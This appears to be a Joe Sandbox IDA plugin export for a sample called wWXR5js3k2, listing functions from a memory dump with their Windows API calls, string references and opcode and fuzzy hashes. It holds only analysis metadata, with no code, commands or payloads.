Function 006C258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006C259E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 006C25D4

Strings

|, xrefs: 006C25A5

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 1cd57ad2e86fbbcc60311ef3f8a90119b56d056462c3efa2cac143998925a7ba
Instruction ID: f1843b0e527a7a7bd8dfcaa425fe67457c835235b9305bc2cf1d127192cd8ad7
Opcode Fuzzy Hash: 1cd57ad2e86fbbcc60311ef3f8a90119b56d056462c3efa2cac143998925a7ba
Instruction Fuzzy Hash: 3B31397180011AABCF41EFA5DC95EEEBFBAFF08300F10005AFD15A6162DA315A16DB64

Function 006D6A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 006D6B17
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 006D6B53

Strings

static, xrefs: 006D6AB3

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 893dc44a9a6d98c6662f42cf628992fcd771764703a35e43623bf5c875d2846f
Instruction ID: ce9fe75af415744abe92918ec620bb2634f9237ff1e91ff02a21fdc1fd05ba3d
Opcode Fuzzy Hash: 893dc44a9a6d98c6662f42cf628992fcd771764703a35e43623bf5c875d2846f
Instruction Fuzzy Hash: A131AC71600204AEDB109F28CC80AFB77AAFF48760F10961AF9A5D7290DA31AC91CB64

Function 006A994C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000000,00000000), ref: 006A9965
SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 006A999F

Strings

@U=u, xrefs: 006A9965, 006A999F

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: 010b8bdc97a31201b0698ce98d6657cdb177da1d11815b8c2eba93ba53a43854
Instruction ID: 2343d02ce3600e2b8d1bae90849bb1cccb991bce43891a3e393e8385ec619d75
Opcode Fuzzy Hash: 010b8bdc97a31201b0698ce98d6657cdb177da1d11815b8c2eba93ba53a43854
Instruction Fuzzy Hash: F121C571D00205ABCB10BBA4D881DEEB77BEF89711F15406EFE15A7290EA709D458B70

Function 006B28A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006B2911
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 006B294C

Strings

0, xrefs: 006B290A

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: c0aee85748171f6cbcd0da94986fff6a8be89e56e4b541ba99f9f068de6c4ab1
Instruction ID: 8a72643aec5b70e07cf2a190c23dda17d93e1e43df7a6983daa7ba7d24be03ac
Opcode Fuzzy Hash: c0aee85748171f6cbcd0da94986fff6a8be89e56e4b541ba99f9f068de6c4ab1
Instruction Fuzzy Hash: 3131F7B1900307DFEB24EF49C845BEEBBF6EF45350F144019E989A62A1D77099C5CB51

Function 006516DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

Part of subcall function 006525DB: GetWindowLongW.USER32(?,000000EB), ref: 006525EC

GetParent.USER32(?), ref: 0068B7BA
DefDlgProcW.USER32(?,00000133,?,?,?,?,?,?,?,?,006519B3,?,?,?,00000006,?), ref: 0068B834

Strings

hW, xrefs: 0065172A, 0068B7D9, 0068B800

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: LongWindow$ParentProc
String ID: hW
API String ID: 2181805148-1300829777
Opcode ID: faba56383e5d0dbd4ad20460e194219f5063ea5da07d40d2d5ed524f9a51b208
Instruction ID: 7ab786e0fe181ed3188f698019e495ee85e6483b5a3874a558369053ceae6d6c
Opcode Fuzzy Hash: faba56383e5d0dbd4ad20460e194219f5063ea5da07d40d2d5ed524f9a51b208
Instruction Fuzzy Hash: 72219E34201504AFCB249B2CC885EE93BA7AF4E321F584264F9255F3F2C7319E56DB50

Function 006AA9B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0066603A: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00666051

SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 006AAA10
_strlen.LIBCMT ref: 006AAA1B

Strings

@U=u, xrefs: 006AAA10

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$Timeout_strlen
String ID: @U=u
API String ID: 2777139624-2594219639
Opcode ID: 2a4c6e377a2a90883dbcf5b9c628f3e93712095f45f9a394adb0409a1d6ce6eb
Instruction ID: 5774d4909e4638a9fece646b71351495b7561cc4fa7c5650a73cfcfff8ac5b80
Opcode Fuzzy Hash: 2a4c6e377a2a90883dbcf5b9c628f3e93712095f45f9a394adb0409a1d6ce6eb
Instruction Fuzzy Hash: 8911083220020666CB54BEB8D9829FF77AB9F4A300F00506FFA06CA293DF258C45CA59

Function 006D6865 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006B55FD: GetLocalTime.KERNEL32 ref: 006B560A
Part of subcall function 006B55FD: _wcsncpy.LIBCMT ref: 006B563F
Part of subcall function 006B55FD: _wcsncpy.LIBCMT ref: 006B5671
Part of subcall function 006B55FD: _wcsncpy.LIBCMT ref: 006B56A4
Part of subcall function 006B55FD: _wcsncpy.LIBCMT ref: 006B56E6

SendMessageW.USER32(?,00001002,00000000,?), ref: 006D68FF

Strings

@U=u, xrefs: 006D68FF
SysDateTimePick32, xrefs: 006D68BD

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _wcsncpy$LocalMessageSendTime
String ID: @U=u$SysDateTimePick32
API String ID: 2466184910-2530228043
Opcode ID: f054e947744ba35143e7ee374585af32d61bfac1007240860543b5467eda9057
Instruction ID: 803de11a1d1d1d172956f54bb50452299a284ad035cb106481505bf550d28329
Opcode Fuzzy Hash: f054e947744ba35143e7ee374585af32d61bfac1007240860543b5467eda9057
Instruction Fuzzy Hash: D3210671B40209AFEF219E14DC82FEA73ABEB44760F20451AF950AB3D0D6B5AC819760

Function 006A9225 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 006A923E

Part of subcall function 006B13DE: GetWindowThreadProcessId.USER32(?,?), ref: 006B1409
Part of subcall function 006B13DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,006A925A,00000034,?,?,00001004,00000000,00000000), ref: 006B1419
Part of subcall function 006B13DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,006A925A,00000034,?,?,00001004,00000000,00000000), ref: 006B142F

Part of subcall function 006B14BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006A9296,?,?,00000034,00000800,?,00000034), ref: 006B14E6

SendMessageW.USER32(?,00001073,00000000,?), ref: 006A92A5

Part of subcall function 006B1487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006A92C5,?,?,00000800,?,00001073,00000000,?,?), ref: 006B14B1

Strings

@U=u, xrefs: 006A923E, 006A92A5

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Process$MemoryMessageSend$AllocOpenReadThreadVirtualWindowWrite
String ID: @U=u
API String ID: 1045663743-2594219639
Opcode ID: e8c1f6c8fce20a70f45d705aa1e8b6843d3de29cccd2fd6a54a658b98d21da65
Instruction ID: cd5683cd4f05fd3ef535ff0c1b6ecc9151830b4ed9fb3b5f53472219ffa6295f
Opcode Fuzzy Hash: e8c1f6c8fce20a70f45d705aa1e8b6843d3de29cccd2fd6a54a658b98d21da65
Instruction Fuzzy Hash: 6E215171902118BBDF51ABA4DC81FDDBBB5FF0A310F1041A9F548A7191DA705E84CFA4

Function 006D66D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 006D6761
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 006D676C

Strings

Combobox, xrefs: 006D672E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 139c1596cf0627ff972da2e989d3aac06975598f22d6f8e77cbec034faac6f37
Instruction ID: 33e3cdcfd6df62d10c4219d6f0c0d8b7efc77ac52e0c743199aef06915aeb7d1
Opcode Fuzzy Hash: 139c1596cf0627ff972da2e989d3aac06975598f22d6f8e77cbec034faac6f37
Instruction Fuzzy Hash: A311B271B00208AFEF11CF54CC81EEB376BEB883A8F10422AF91497391D675DC5187A0

Function 006D6C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00651D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00651D73
Part of subcall function 00651D35: GetStockObject.GDI32(00000011), ref: 00651D87
Part of subcall function 00651D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00651D91

GetWindowRect.USER32(00000000,?), ref: 006D6C71
GetSysColor.USER32(00000012), ref: 006D6C8B

Strings

static, xrefs: 006D6C4E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 1beba49ed4bb60fd375aa62d53dabefacb5a1865937b9dfc1a2d05360407818d
Instruction ID: 60b8e6ca34e4cb96453b794dd7964b8402ef7a89cbc0c0f2dd674fe4b7e122d7
Opcode Fuzzy Hash: 1beba49ed4bb60fd375aa62d53dabefacb5a1865937b9dfc1a2d05360407818d
Instruction Fuzzy Hash: 3D211772A20209AFDB04DFA8CC45EEA7BA9FB08315F01462AF995D2250D635E8519B60

Function 006D678B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

CreatePopupMenu.USER32 ref: 006D67AA
CreatePopupMenu.USER32 ref: 006D6828

Strings

hW, xrefs: 006D6802, 006D683D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CreateMenuPopup
String ID: hW
API String ID: 3826294624-1300829777
Opcode ID: 891cadc90025de4f9168ec7027a2a848ba6e899944856757d9cf2f46dc6ecccf
Instruction ID: 43d73bede3c3e4d6bf2d1b31112d3474a7f2dc2df0e90119e655433aa6af759b
Opcode Fuzzy Hash: 891cadc90025de4f9168ec7027a2a848ba6e899944856757d9cf2f46dc6ecccf
Instruction Fuzzy Hash: EF215C78900609DFCB24CF28D444BD677F2FB8A324F49856AE85A8B391C331AC56DF61

Function 006B29AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006B2A22
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 006B2A41

Strings

0, xrefs: 006B2A18

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 11aa42b0d631d193dc21d11881d4d0b8cb7a5557a75521fc68270878bf7c0f04
Instruction ID: f362e07e655105080f291c99b550dea2dcf3cfdf64a92a4a3af3c35c563c23a2
Opcode Fuzzy Hash: 11aa42b0d631d193dc21d11881d4d0b8cb7a5557a75521fc68270878bf7c0f04
Instruction Fuzzy Hash: 5F11E6B2D01116EBCB34EB58DC54BDA77FAAB85300F048021E955E7390D730AD86C795

Function 006C21D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 006C222C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 006C2255

Strings

<local>, xrefs: 006C221D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 77c1dfffcdc6e10066de6a1daad7b6bd2d8981918762a54a0aa6032300e36c38
Instruction ID: 36d4f2ca712dc59c9a9fa71b021a27d55bc811372834a47c932eb3faa858efc2
Opcode Fuzzy Hash: 77c1dfffcdc6e10066de6a1daad7b6bd2d8981918762a54a0aa6032300e36c38
Instruction Fuzzy Hash: A711E0B0501226BADB248F118CA8FFBFBAAFF06361F10822EFE0546100D2745A81D6F0

Function 006D65B6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000401,?,00000000), ref: 006D662C

Strings

@U=u, xrefs: 006D662C
button, xrefs: 006D6603

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend
String ID: @U=u$button
API String ID: 3850602802-1762282863
Opcode ID: a5579b47180994f318b3a93da8bc96b86b520335a3b1dc47a5e89670344c200e
Instruction ID: 9dedb84067016df8c3d3b19b96bbcea314582c0f8536203d86a133e7db9e181f
Opcode Fuzzy Hash: a5579b47180994f318b3a93da8bc96b86b520335a3b1dc47a5e89670344c200e
Instruction Fuzzy Hash: 9311E172240205ABDF118F60DC11FEA376BEF58314F154219FA51A72D0C776EC929B50

Function 006D788C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000133E,00000000,?), ref: 006D78D8

Strings

@U=u, xrefs: 006D78D8

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: 5ae0d58ede84b0e71c697cbf2f0ae8e0db81a545ba982e41648464b6307c96d3
Instruction ID: 262189aea3055dfbb0497da80ab0b663b5cbd7117fc63b2da18ffab1754c7e11
Opcode Fuzzy Hash: 5ae0d58ede84b0e71c697cbf2f0ae8e0db81a545ba982e41648464b6307c96d3
Instruction Fuzzy Hash: 1E11E631904744AFD721CF34C8A1AE7B7EAFF05310F50851EE8AA4B391EB716941DB60

Function 006A94A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006B14BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006A9296,?,?,00000034,00000800,?,00000034), ref: 006B14E6

SendMessageW.USER32(?,0000102B,?,00000000), ref: 006A9509
SendMessageW.USER32(?,0000102B,?,00000000), ref: 006A952E

Strings

@U=u, xrefs: 006A9509, 006A952E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$MemoryProcessWrite
String ID: @U=u
API String ID: 1195347164-2594219639
Opcode ID: 530604f613c2014d825ff75ce999c33edf1636ab1ac74644d9d90faf44e3e8d7
Instruction ID: a97c8721cd13aaa9d081f0f8d3ac07ce2cc11d56a5e8e10b8aa8d13b62b053a8
Opcode Fuzzy Hash: 530604f613c2014d825ff75ce999c33edf1636ab1ac74644d9d90faf44e3e8d7
Instruction Fuzzy Hash: 26012B32901118BBDB11AF68DC46EEEBB79DB05310F10416EF915A71D1DB706D95CFA0

Function 00652327 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

hW, xrefs: 0068BF21, 0068BF47

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID: hW
API String ID: 0-1300829777
Opcode ID: 9aa95378242e3838fb5369dcd9705b28c2038387c95afe2e5c84f488a2426d76
Instruction ID: a049f051c76b1ed5db1e9d185d5e895adbeb346d32fe10c441325f6a1c9bb67c
Opcode Fuzzy Hash: 9aa95378242e3838fb5369dcd9705b28c2038387c95afe2e5c84f488a2426d76
Instruction Fuzzy Hash: 9A111634600604EFCB24AF28C841AA57BE6BB89320F148259EA699B3A0C771E945CF90

Function 006A95D5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000406,00000000,00000000), ref: 006A95FB
SendMessageW.USER32(?,0000040D,?,00000000), ref: 006A962E

Part of subcall function 006B1487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006A92C5,?,?,00000800,?,00001073,00000000,?,?), ref: 006B14B1

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

Strings

@U=u, xrefs: 006A95FB, 006A962E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$MemoryProcessRead_memmove
String ID: @U=u
API String ID: 339422723-2594219639
Opcode ID: 48b233d9a7426c755f2aa886dd769fb588390f7df81cc6b9630dd98d28beda23
Instruction ID: 3986f45125a215197ddd315b87cc92b00fefc6ce64817e1744235c6caaa8bb9e
